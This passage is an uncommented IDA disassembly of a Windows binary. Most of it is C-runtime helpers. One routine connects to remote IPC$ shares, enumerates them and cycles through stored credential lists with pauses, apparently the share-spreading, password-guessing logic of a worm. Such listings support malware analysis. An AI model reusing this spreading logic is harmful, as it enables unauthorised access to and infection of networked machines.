imul eax, 3Ch lea eax, dword_42B070[eax] inc dword ptr [eax] pop ecx loc_41408B: ; CODE XREF: sub_413E26+9Dj ; sub_413E26+A6j ... xor ebx, ebx inc ebx loc_41408E: ; CODE XREF: sub_413E26+48j ; sub_413E26+163j push 1 push 1 push [ebp+arg_8] call dword_4357E4 pop edi pop esi mov eax, ebx pop ebx leave retn sub_413E26 endp ; =============== S U B R O U T I N E ======================================= sub_4140A2 proc near ; CODE XREF: .text:0041423Ap ; .text:004142B1p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch cmp dword_42C0D8, 0 push ebx push esi push edi jz short loc_4140FE mov eax, offset dword_42C0D8 mov ebx, eax loc_4140B5: ; CODE XREF: sub_4140A2+5Aj sub esp, 140h push 50h pop ecx mov edi, esp push [esp+14Ch+arg_4] lea esi, [esp+150h+arg_8] push dword ptr [eax] rep movsd push [esp+154h+arg_0] call sub_413E26 add esp, 14Ch cmp eax, 1 jz short loc_414104 push 0C8h call ds:dword_420000 ; Sleep add ebx, 4 cmp dword ptr [ebx], 0 mov eax, ebx jnz short loc_4140B5 loc_4140FE: ; CODE XREF: sub_4140A2+Aj xor eax, eax loc_414100: ; CODE XREF: sub_4140A2+65j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_414104: ; CODE XREF: sub_4140A2+45j xor eax, eax inc eax jmp short loc_414100 sub_4140A2 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 62Ch push ebx push esi push edi lea eax, [ebp+0Ch] push eax xor ebx, ebx lea eax, [ebp-30h] push offset aS_6 ; "\\\\%s" push eax mov [ebp-4], ebx mov [ebp-14h], ebx mov [ebp-1Ch], ebx mov [ebp-18h], ebx call sub_414415 add esp, 0Ch push 3E8h lea eax, [ebp-62Ch] push eax push 0FFFFFFFFh lea eax, [ebp-30h] push eax push ebx push ebx call ds:dword_4200D4 ; MultiByteToWideChar lea eax, [ebp-30h] push eax lea eax, [ebp-118h] push offset aSIpc_0 ; "%s\\ipc$" push eax mov [ebp-40h], ebx mov [ebp-34h], ebx mov [ebp-4Ch], ebx call sub_414415 add esp, 0Ch lea eax, [ebp-118h] mov [ebp-3Ch], eax push ebx mov eax, 420AEAh push eax push eax lea eax, [ebp-50h] push eax call dword_4358A8 test eax, eax jz short loc_4141A9 push 1 push ebx lea eax, [ebp-118h] push eax call dword_4357E4 xor eax, eax jmp loc_4142D1 ; --------------------------------------------------------------------------- loc_4141A9: ; CODE XREF: .text:00414190j ; .text:00414271j lea eax, [ebp-18h] push eax lea eax, [ebp-1Ch] push eax lea eax, [ebp-14h] push eax push 0FFFFFFFFh lea eax, [ebp-4] push eax push 2 push ebx lea eax, [ebp-62Ch] push eax call dword_4357E8 push 1 mov [ebp-0Ch], eax push ebx lea eax, [ebp-118h] push eax call dword_4357E4 cmp [ebp-0Ch], ebx jz short loc_4141EC cmp dword ptr [ebp-0Ch], 0EAh jnz short loc_414259 loc_4141EC: ; CODE XREF: .text:004141E1j mov eax, [ebp-4] cmp eax, ebx mov [ebp-10h], eax jz short loc_41426A cmp [ebp-14h], ebx mov [ebp-8], ebx jbe short loc_414259 loc_4141FE: ; CODE XREF: .text:00414257j mov eax, [ebp-10h] cmp eax, ebx jz short loc_414259 push ebx push ebx push 12Ch lea ecx, [ebp-244h] push ecx push 0FFFFFFFFh push dword ptr [eax] push ebx push ebx call ds:dword_4200D8 ; WideCharToMultiByte sub esp, 140h push 50h pop ecx mov edi, esp lea eax, [ebp-30h] push eax lea eax, [ebp-244h] lea esi, [ebp+8] push eax rep movsd call sub_4140A2 add esp, 148h cmp eax, 1 jz short loc_414259 add dword ptr [ebp-10h], 4 inc dword ptr [ebp-8] mov eax, [ebp-8] cmp eax, [ebp-14h] jb short loc_4141FE loc_414259: ; CODE XREF: .text:004141EAj ; .text:004141FCj ... cmp [ebp-4], ebx jz short loc_41426A push dword ptr [ebp-4] call dword_435840 mov [ebp-4], ebx loc_41426A: ; CODE XREF: .text:004141F4j ; .text:0041425Cj cmp dword ptr [ebp-0Ch], 0EAh jz loc_4141A9 cmp [ebp-4], ebx jz short loc_414285 push dword ptr [ebp-4] call dword_435840 loc_414285: ; CODE XREF: .text:0041427Aj cmp dword ptr [ebp-0Ch], 5 jnz short loc_4142CE cmp off_42C088, ebx jz short loc_4142CE mov eax, offset off_42C088 mov [ebp-8], eax loc_41429B: ; CODE XREF: .text:004142CCj sub esp, 140h push 50h pop ecx mov edi, esp lea esi, [ebp+8] rep movsd lea ecx, [ebp-30h] push ecx push dword ptr [eax] call sub_4140A2 add esp, 148h cmp eax, 1 jz short loc_4142CE mov eax, [ebp-8] add eax, 4 cmp [eax], ebx mov [ebp-8], eax jnz short loc_41429B loc_4142CE: ; CODE XREF: .text:00414289j ; .text:00414291j ... xor eax, eax inc eax loc_4142D1: ; CODE XREF: .text:004141A4j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4142E0 proc near ; CODE XREF: sub_401000+5Cp ; sub_401000+9Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_4143A4 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41430C loc_4142FB: ; CODE XREF: sub_4142E0+2Aj mov al, [edi] add edi, 1 test al, al jz short loc_41433D test edi, 3 jnz short loc_4142FB loc_41430C: ; CODE XREF: sub_4142E0+19j ; sub_4142E0+42j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41430C mov eax, [edi-4] test al, al jz short loc_41434C test ah, ah jz short loc_414347 test eax, 0FF0000h jz short loc_414342 test eax, 0FF000000h jnz short loc_41430C loc_41433D: ; CODE XREF: sub_4142E0+22j sub edi, 1 jmp short loc_41434F ; --------------------------------------------------------------------------- loc_414342: ; CODE XREF: sub_4142E0+54j sub edi, 2 jmp short loc_41434F ; --------------------------------------------------------------------------- loc_414347: ; CODE XREF: sub_4142E0+4Dj sub edi, 3 jmp short loc_41434F ; --------------------------------------------------------------------------- loc_41434C: ; CODE XREF: sub_4142E0+49j sub edi, 4 loc_41434F: ; CODE XREF: sub_4142E0+60j ; sub_4142E0+65j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_414364 mov ebx, ecx shr ecx, 2 jnz short loc_4143BE jmp short loc_414386 ; --------------------------------------------------------------------------- loc_414364: ; CODE XREF: sub_4142E0+79j ; sub_4142E0+9Dj mov dl, [esi] add esi, 1 test dl, dl jz short loc_4143AA mov [edi], dl add edi, 1 sub ecx, 1 jz short loc_4143A0 test esi, 3 jnz short loc_414364 mov ebx, ecx shr ecx, 2 jnz short loc_4143BE loc_414386: ; CODE XREF: sub_4142E0+82j ; sub_4142E0+DCj mov ecx, ebx and ecx, 3 jz short loc_4143A0 loc_41438D: ; CODE XREF: sub_4142E0+BEj mov dl, [esi] add esi, 1 mov [edi], dl add edi, 1 test dl, dl jz short loc_4143A2 sub ecx, 1 jnz short loc_41438D loc_4143A0: ; CODE XREF: sub_4142E0+95j ; sub_4142E0+ABj mov [edi], cl loc_4143A2: ; CODE XREF: sub_4142E0+B9j pop ebx pop esi loc_4143A4: ; CODE XREF: sub_4142E0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4143AA: ; CODE XREF: sub_4142E0+8Bj ; sub_4142E0+FAj mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_4143B4: ; CODE XREF: sub_4142E0+F6j ; sub_4142E0+10Ej mov [edi], edx add edi, 4 sub ecx, 1 jz short loc_414386 loc_4143BE: ; CODE XREF: sub_4142E0+80j ; sub_4142E0+A4j mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_4143B4 test dl, dl jz short loc_4143AA test dh, dh jz short loc_41440A test edx, 0FF0000h jz short loc_4143FA test edx, 0FF000000h jnz short loc_4143B4 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_4143FA: ; CODE XREF: sub_4142E0+106j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41440A: ; CODE XREF: sub_4142E0+FEj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_4142E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414415 proc near ; CODE XREF: sub_401000+19p ; sub_401000+48p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h push esi mov esi, [ebp+arg_0] push edi lea eax, [ebp+arg_8] push eax push [ebp+arg_4] lea eax, [ebp+var_20] push eax mov [ebp+var_1C], 7FFFFFFFh mov [ebp+var_14], 42h mov [ebp+var_18], esi mov [ebp+var_20], esi call sub_416492 add esp, 0Ch test esi, esi mov edi, eax jz short loc_414467 dec [ebp+var_1C] js short loc_41445A mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_414467 ; --------------------------------------------------------------------------- loc_41445A: ; CODE XREF: sub_414415+3Bj lea eax, [ebp+var_20] push eax push 0 call sub_4162EB pop ecx pop ecx loc_414467: ; CODE XREF: sub_414415+36j ; sub_414415+43j mov eax, edi pop edi pop esi leave retn sub_414415 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414470 proc near ; CODE XREF: sub_401141+2CFp ; sub_4089DC+3EF3p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb add ecx, 1 neg ecx sub edi, 1 mov al, [ebp+arg_4] std repne scasb add edi, 1 cmp [edi], al jz short loc_414497 xor eax, eax jmp short loc_414499 ; --------------------------------------------------------------------------- loc_414497: ; CODE XREF: sub_414470+21j mov eax, edi loc_414499: ; CODE XREF: sub_414470+25j cld pop edi leave retn sub_414470 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4144A0 proc near ; CODE XREF: sub_401141+6Ep ; sub_401141+A2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_41453F push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_4144CC shr ecx, 2 jnz loc_41454F jmp short loc_4144F3 ; --------------------------------------------------------------------------- loc_4144CC: ; CODE XREF: sub_4144A0+1Fj ; sub_4144A0+45j mov al, [esi] add esi, 1 mov [edi], al add edi, 1 sub ecx, 1 jz short loc_414506 test al, al jz short loc_41450E test esi, 3 jnz short loc_4144CC mov ebx, ecx shr ecx, 2 jnz short loc_41454F loc_4144EE: ; CODE XREF: sub_4144A0+ADj and ebx, 3 jz short loc_414506 loc_4144F3: ; CODE XREF: sub_4144A0+2Aj ; sub_4144A0+64j mov al, [esi] add esi, 1 mov [edi], al add edi, 1 test al, al jz short loc_414538 sub ebx, 1 jnz short loc_4144F3 loc_414506: ; CODE XREF: sub_4144A0+39j ; sub_4144A0+51j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41450E: ; CODE XREF: sub_4144A0+3Dj test edi, 3 jz short loc_41452C loc_414516: ; CODE XREF: sub_4144A0+8Aj mov [edi], al add edi, 1 sub ecx, 1 jz loc_4145BC test edi, 3 jnz short loc_414516 loc_41452C: ; CODE XREF: sub_4144A0+74j mov ebx, ecx shr ecx, 2 jnz short loc_4145A7 loc_414533: ; CODE XREF: sub_4144A0+9Bj ; sub_4144A0+116j mov [edi], al add edi, 1 loc_414538: ; CODE XREF: sub_4144A0+5Fj sub ebx, 1 jnz short loc_414533 pop ebx pop esi loc_41453F: ; CODE XREF: sub_4144A0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_414545: ; CODE XREF: sub_4144A0+C7j ; sub_4144A0+DFj mov [edi], edx add edi, 4 sub ecx, 1 jz short loc_4144EE loc_41454F: ; CODE XREF: sub_4144A0+24j ; sub_4144A0+4Cj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_414545 test dl, dl jz short loc_414599 test dh, dh jz short loc_41458F test edx, 0FF0000h jz short loc_414585 test edx, 0FF000000h jnz short loc_414545 mov [edi], edx jmp short loc_41459D ; --------------------------------------------------------------------------- loc_414585: ; CODE XREF: sub_4144A0+D7j and edx, 0FFFFh mov [edi], edx jmp short loc_41459D ; --------------------------------------------------------------------------- loc_41458F: ; CODE XREF: sub_4144A0+CFj and edx, 0FFh mov [edi], edx jmp short loc_41459D ; --------------------------------------------------------------------------- loc_414599: ; CODE XREF: sub_4144A0+CBj xor edx, edx mov [edi], edx loc_41459D: ; CODE XREF: sub_4144A0+E3j ; sub_4144A0+EDj ... add edi, 4 xor eax, eax sub ecx, 1 jz short loc_4145B3 loc_4145A7: ; CODE XREF: sub_4144A0+91j xor eax, eax loc_4145A9: ; CODE XREF: sub_4144A0+111j mov [edi], eax add edi, 4 sub ecx, 1 jnz short loc_4145A9 loc_4145B3: ; CODE XREF: sub_4144A0+105j and ebx, 3 jnz loc_414533 loc_4145BC: ; CODE XREF: sub_4144A0+7Ej mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_4144A0 endp ; =============== S U B R O U T I N E ======================================= sub_4145C4 proc near ; CODE XREF: sub_401967+39p ; sub_402500+2Ep ... arg_0 = dword ptr 4 call sub_416C45 mov ecx, [esp+arg_0] mov [eax+14h], ecx retn sub_4145C4 endp ; =============== S U B R O U T I N E ======================================= sub_4145D1 proc near ; CODE XREF: sub_4017F1+57p ; sub_4017F1:loc_401854p ... call sub_416C45 mov ecx, [eax+14h] imul ecx, 343FDh add ecx, 269EC3h mov [eax+14h], ecx mov eax, ecx shr eax, 10h and eax, 7FFFh retn sub_4145D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4145F3 proc near ; CODE XREF: sub_4017F1+4Ap ; sub_403BFF+23Cp ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push eax mov [ebp+var_14], 49h mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_4177F0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] lea eax, [ebp+var_20] push eax call sub_416D3B add esp, 10h leave retn sub_4145F3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_414630 proc near ; CODE XREF: sub_40398A+8p ; sub_404AC0+Ap ... arg_0 = byte ptr 4 cmp eax, 1000h jnb short loc_414645 neg eax add eax, esp add eax, 4 test [eax], eax xchg eax, esp mov eax, [eax] push eax retn ; --------------------------------------------------------------------------- loc_414645: ; CODE XREF: sub_414630+5j push ecx lea ecx, [esp+4+arg_0] loc_41464A: ; CODE XREF: sub_414630+2Cj sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41464A sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_414630 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41466D proc near ; CODE XREF: sub_401E87+46p ; sub_401EFF+67p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov [ebp+var_1C], eax push edi lea eax, [ebp+arg_C] push eax push [ebp+arg_8] lea eax, [ebp+var_20] push eax mov [ebp+var_14], 42h mov [ebp+var_18], esi mov [ebp+var_20], esi call sub_416492 add esp, 0Ch test esi, esi mov edi, eax jz short loc_4146BE dec [ebp+var_1C] js short loc_4146B1 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_4146BE ; --------------------------------------------------------------------------- loc_4146B1: ; CODE XREF: sub_41466D+3Aj lea eax, [ebp+var_20] push eax push 0 call sub_4162EB pop ecx pop ecx loc_4146BE: ; CODE XREF: sub_41466D+35j ; sub_41466D+42j mov eax, edi pop edi pop esi leave retn sub_41466D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4146C4 proc near ; CODE XREF: sub_401F73+19p ; sub_405674+1Cp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_4] push esi mov esi, [ebp+arg_0] push edi push [ebp+arg_C] mov [ebp+var_1C], eax push [ebp+arg_8] lea eax, [ebp+var_20] push eax mov [ebp+var_14], 42h mov [ebp+var_18], esi mov [ebp+var_20], esi call sub_416492 add esp, 0Ch test esi, esi mov edi, eax jz short loc_414714 dec [ebp+var_1C] js short loc_414707 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_414714 ; --------------------------------------------------------------------------- loc_414707: ; CODE XREF: sub_4146C4+39j lea eax, [ebp+var_20] push eax push 0 call sub_4162EB pop ecx pop ecx loc_414714: ; CODE XREF: sub_4146C4+34j ; sub_4146C4+41j mov eax, edi pop edi pop esi leave retn sub_4146C4 endp ; =============== S U B R O U T I N E ======================================= sub_41471A proc near ; CODE XREF: sub_4147A2j ; sub_41DD87+36p arg_0 = dword ptr 4 push esi push edi call sub_416C45 mov edi, [eax+64h] cmp edi, off_42D84C jz short loc_414733 call sub_417A7E mov edi, eax loc_414733: ; CODE XREF: sub_41471A+10j mov esi, [esp+8+arg_0] loc_414737: ; CODE XREF: sub_41471A+43j cmp dword ptr [edi+28h], 1 movzx eax, byte ptr [esi] jle short loc_41474E push 8 push eax push edi call sub_41787B add esp, 0Ch jmp short loc_414758 ; --------------------------------------------------------------------------- loc_41474E: ; CODE XREF: sub_41471A+24j mov ecx, [edi+48h] movzx eax, byte ptr [ecx+eax*2] and eax, 8 loc_414758: ; CODE XREF: sub_41471A+32j test eax, eax jz short loc_41475F inc esi jmp short loc_414737 ; --------------------------------------------------------------------------- loc_41475F: ; CODE XREF: sub_41471A+40j movzx ecx, byte ptr [esi] inc esi cmp ecx, 2Dh mov edx, ecx jz short loc_41476F cmp ecx, 2Bh jnz short loc_414773 loc_41476F: ; CODE XREF: sub_41471A+4Ej movzx ecx, byte ptr [esi] inc esi loc_414773: ; CODE XREF: sub_41471A+53j xor eax, eax loc_414775: ; CODE XREF: sub_41471A+7Cj cmp ecx, 30h jl short loc_414784 cmp ecx, 39h jg short loc_414784 sub ecx, 30h jmp short loc_414787 ; --------------------------------------------------------------------------- loc_414784: ; CODE XREF: sub_41471A+5Ej ; sub_41471A+63j or ecx, 0FFFFFFFFh loc_414787: ; CODE XREF: sub_41471A+68j cmp ecx, 0FFFFFFFFh jz short loc_414798 lea eax, [eax+eax*4] lea eax, [ecx+eax*2] movzx ecx, byte ptr [esi] inc esi jmp short loc_414775 ; --------------------------------------------------------------------------- loc_414798: ; CODE XREF: sub_41471A+70j cmp edx, 2Dh pop edi pop esi jnz short locret_4147A1 neg eax locret_4147A1: ; CODE XREF: sub_41471A+83j retn sub_41471A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4147A2 proc near ; CODE XREF: sub_402011+63p ; sub_4024A4+12p ... jmp sub_41471A sub_4147A2 endp ; =============== S U B R O U T I N E ======================================= sub_4147A7 proc near ; CODE XREF: sub_4147F3+32p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh test byte ptr [esi+0Ch], 83h jz short loc_4147EA push esi call sub_417C02 push esi mov edi, eax call sub_417BD7 push dword ptr [esi+10h] call sub_417B3C add esp, 0Ch test eax, eax jge short loc_4147D8 or edi, 0FFFFFFFFh jmp short loc_4147EA ; --------------------------------------------------------------------------- loc_4147D8: ; CODE XREF: sub_4147A7+2Aj mov eax, [esi+1Ch] test eax, eax jz short loc_4147EA push eax call sub_414844 and dword ptr [esi+1Ch], 0 pop ecx loc_4147EA: ; CODE XREF: sub_4147A7+Dj ; sub_4147A7+2Fj ... and dword ptr [esi+0Ch], 0 mov eax, edi pop edi pop esi retn sub_4147A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4147F3 proc near ; CODE XREF: sub_403B6D+74p ; sub_4089DC+37DAp ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 0Ch push offset stru_428D08 call __SEH_prolog or [ebp+var_1C], 0FFFFFFFFh mov esi, [ebp+arg_0] test byte ptr [esi+0Ch], 40h jz short loc_414819 and dword ptr [esi+0Ch], 0 loc_414810: ; CODE XREF: sub_4147F3+44j mov eax, [ebp+var_1C] call __SEH_epilog retn ; --------------------------------------------------------------------------- loc_414819: ; CODE XREF: sub_4147F3+17j push esi call sub_417E28 pop ecx and [ebp+ms_exc.disabled], 0 push esi call sub_4147A7 pop ecx mov [ebp+var_1C], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41483C jmp short loc_414810 sub_4147F3 endp ; =============== S U B R O U T I N E ======================================= sub_414839 proc near ; DATA XREF: .rdata:stru_428D08o mov esi, [ebp+8] sub_414839 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41483C proc near ; CODE XREF: sub_4147F3+3Fp push esi call sub_417E7A pop ecx retn sub_41483C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414844 proc near ; CODE XREF: sub_402DDF+74p ; sub_406650+CCp ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 004148A0 SIZE 00000015 BYTES push 0Ch push offset stru_428D18 call __SEH_prolog mov esi, [ebp+arg_0] test esi, esi jz short loc_4148AF cmp dword_47C9A0, 3 jnz short loc_4148A0 push 4 call sub_4180B5 pop ecx and [ebp+ms_exc.disabled], 0 push esi call sub_41812E pop ecx mov [ebp+var_1C], eax test eax, eax jz short loc_414883 push esi push eax call sub_418159 pop ecx pop ecx loc_414883: ; CODE XREF: sub_414844+34j or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_414897 cmp [ebp+var_1C], 0 jnz short loc_4148AF push [ebp+arg_0] jmp short loc_4148A1 sub_414844 endp ; =============== S U B R O U T I N E ======================================= sub_414897 proc near ; CODE XREF: sub_414844+43p ; DATA XREF: .rdata:stru_428D18o push 4 call sub_418021 pop ecx retn sub_414897 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_414844 loc_4148A0: ; CODE XREF: sub_414844+1Aj push esi loc_4148A1: ; CODE XREF: sub_414844+51j push 0 push dword_47C99C call ds:dword_420058 ; RtlFreeHeap loc_4148AF: ; CODE XREF: sub_414844+11j ; sub_414844+4Cj call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_414844 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4148B5 proc near ; CODE XREF: sub_41499E+25p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx mov ebx, [ebp+arg_0] push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] test edi, edi mov ecx, edi mov [ebp+var_8], edi mov [ebp+arg_0], ecx jnz short loc_4148D9 xor eax, eax jmp loc_414984 ; --------------------------------------------------------------------------- loc_4148D9: ; CODE XREF: sub_4148B5+1Bj push esi mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_4148ED mov eax, [esi+18h] mov [ebp+var_4], eax jmp short loc_4148F9 ; --------------------------------------------------------------------------- loc_4148ED: ; CODE XREF: sub_4148B5+2Ej mov [ebp+var_4], 1000h jmp short loc_4148F9 ; --------------------------------------------------------------------------- loc_4148F6: ; CODE XREF: sub_4148B5+C5j mov ecx, [ebp+arg_0] loc_4148F9: ; CODE XREF: sub_4148B5+36j ; sub_4148B5+3Fj test word ptr [esi+0Ch], 10Ch jz short loc_41492B mov eax, [esi+4] test eax, eax jz short loc_41492B cmp ecx, eax mov edi, ecx jb short loc_414910 mov edi, eax loc_414910: ; CODE XREF: sub_4148B5+57j push edi push dword ptr [esi] push ebx call sub_418F70 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_8] jmp short loc_414976 ; --------------------------------------------------------------------------- loc_41492B: ; CODE XREF: sub_4148B5+4Aj ; sub_4148B5+51j cmp ecx, [ebp+var_4] jb short loc_41495E cmp [ebp+var_4], 0 mov eax, ecx jz short loc_414941 xor edx, edx div [ebp+var_4] mov eax, ecx sub eax, edx loc_414941: ; CODE XREF: sub_4148B5+81j push eax push ebx push dword ptr [esi+10h] call sub_418EB7 add esp, 0Ch test eax, eax jz short loc_414988 cmp eax, 0FFFFFFFFh jz short loc_414998 sub [ebp+arg_0], eax add ebx, eax jmp short loc_414976 ; --------------------------------------------------------------------------- loc_41495E: ; CODE XREF: sub_4148B5+79j push esi call sub_418C09 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41498C mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+var_4], eax loc_414976: ; CODE XREF: sub_4148B5+74j ; sub_4148B5+A7j cmp [ebp+arg_0], 0 jnz loc_4148F6 mov eax, [ebp+arg_8] loc_414983: ; CODE XREF: sub_4148B5+E1j pop esi loc_414984: ; CODE XREF: sub_4148B5+1Fj pop edi pop ebx leave retn ; --------------------------------------------------------------------------- loc_414988: ; CODE XREF: sub_4148B5+9Bj or dword ptr [esi+0Ch], 10h loc_41498C: ; CODE XREF: sub_4148B5+B3j ; sub_4148B5+E7j mov eax, edi sub eax, [ebp+arg_0] xor edx, edx div [ebp+arg_4] jmp short loc_414983 ; --------------------------------------------------------------------------- loc_414998: ; CODE XREF: sub_4148B5+A0j or dword ptr [esi+0Ch], 20h jmp short loc_41498C sub_4148B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41499E proc near ; CODE XREF: sub_403B6D+47p ; sub_411DD2+2F2p ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push 0Ch push offset stru_428D28 call __SEH_prolog push [ebp+arg_C] call sub_417E28 pop ecx and [ebp+ms_exc.disabled], 0 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4148B5 add esp, 10h mov [ebp+var_1C], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_4149E0 mov eax, [ebp+var_1C] call __SEH_epilog retn sub_41499E endp ; =============== S U B R O U T I N E ======================================= sub_4149E0 proc near ; CODE XREF: sub_41499E+34p ; DATA XREF: .rdata:stru_428D28o push dword ptr [ebp+14h] call sub_417E7A pop ecx retn sub_4149E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4149EA proc near ; CODE XREF: sub_41AFFE+34p ; sub_41AFFE+49p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 00414B5B SIZE 0000003C BYTES push 14h push offset stru_428D38 call __SEH_prolog mov edi, [ebp+arg_0] xor ebx, ebx cmp edi, ebx jnz short loc_414A0D push [ebp+arg_4] call sub_414CAD pop ecx jmp loc_414B91 ; --------------------------------------------------------------------------- loc_414A0D: ; CODE XREF: sub_4149EA+13j mov esi, [ebp+arg_4] cmp esi, ebx jnz short loc_414A20 push edi call sub_414844 pop ecx jmp loc_414B8F ; --------------------------------------------------------------------------- loc_414A20: ; CODE XREF: sub_4149EA+28j cmp dword_47C9A0, 3 jnz loc_414B5B loc_414A2D: ; CODE XREF: sub_4149EA+158j mov [ebp+var_1C], ebx cmp esi, 0FFFFFFE0h ja loc_414B2A push 4 call sub_4180B5 pop ecx mov [ebp+ms_exc.disabled], ebx push edi call sub_41812E pop ecx mov [ebp+var_20], eax cmp eax, ebx jz loc_414AFA cmp esi, dword_47C98C ja short loc_414AAA push esi push edi push eax call sub_41862E add esp, 0Ch test eax, eax jz short loc_414A72 mov [ebp+var_1C], edi jmp short loc_414AAA ; --------------------------------------------------------------------------- loc_414A72: ; CODE XREF: sub_4149EA+81j push esi call sub_41890D pop ecx mov [ebp+var_1C], eax cmp eax, ebx jz short loc_414AAA mov 